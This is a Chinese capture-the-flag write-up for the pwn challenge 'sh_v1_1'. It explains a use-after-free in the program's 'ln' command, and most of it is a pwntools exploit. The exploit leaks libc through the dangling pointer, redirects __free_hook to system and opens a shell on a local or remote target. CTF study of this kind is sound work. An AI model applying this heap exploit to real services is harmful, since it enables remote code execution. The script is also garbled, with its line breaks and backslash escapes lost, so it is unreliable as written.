1.题⽬名称
题目名称:sh_v1_1
2.题⽬考点
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本题考查对程序指令逆向
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对花指令等干扰指令排除
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UAF
3.题⽬详细解题⽅法
首先,程序中的花指令如下
是可以排除干扰的
程序主要实现了ls,rm,touch,cat,gedit等功能
漏洞点主要在ln函数,ln函数链接时,将指针保存,但是在对原始指针删除时,未删除ln链接的指针,造成指针悬挂。

#coding=utf-8from pwn import *context.log_level = "debug"# context.arch = "i386"context.arch = "amd64"menu=""sh = 0lib = 0elf =ELF('sh_v1_1')libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")""" """l64 = lambda :u64(sh.recvuntil("x7f")[-6:].ljust(8,"x00"))l32 = lambda :u32(sh.recvuntil("xf7")[-4:].ljust(4,"x00"))leak = lambda name,data : sh.success(name + ": 0x%x" % data)s = lambda payload: sh.send(payload)sa = lambda a,b :sh.sendafter(str(a),str(b))sl = lambda payload: sh.sendline(payload)sla = lambda a,b :sh.sendlineafter(str(a),str(b))ru = lambda a :sh.recvuntil(str(a))r = lambda a :sh.recv(str(a))""" """def add(name,content):sla(">>>>","touch "+name)sl(content)def edit(name,content):sla(">>>>","gedit "+name)s(content)def show(name):sla(">>>>","cat "+name)def delete(name):sla(">>>>","rm "+name)def ln(name,name1):sla(">>>>","ln "+name+" "+name1)def b(addr):bk="b *$rebase("+str(addr)+")"# bk="b *"+str(addr)attach(sh,bk)success("attach")def pwn(ip,port,debug):global shglobal libcif(debug == 1):sh = process("./sh_v1_1")else:sh = remote(ip,port)for i in range(0,10):add("freedom"+str(i),"freedom!!!")ln("freedom0","freedom10") #freedom0 uaf freedom10for i in range(1,8):delete("freedom"+str(i))delete("freedom0")show("freedom10")libc_base=l64()-0x10-libc.sym["__malloc_hook"]-96leak("libc_base",libc_base)for i in range(0,8):add("freedom"+str(i),"freedom!!!")delete("freedom1")delete("freedom7")system=libc_base+libc.sym["system"]free_hook=libc_base+libc.sym["__free_hook"]-8edit("freedom10",p64(free_hook)+"n")# b(0x000000000000219A)add("freedom1","aaaa")add("freedom7","/bin/shx00"+p64(system))delete("freedom7")sh.interactive()if __name__ == "__main__":pwn("0.0.0.0",9999,1)
原文始发于微信公众号(胖哈勃):【PWN专场】公开赛wp|sh_v1_1
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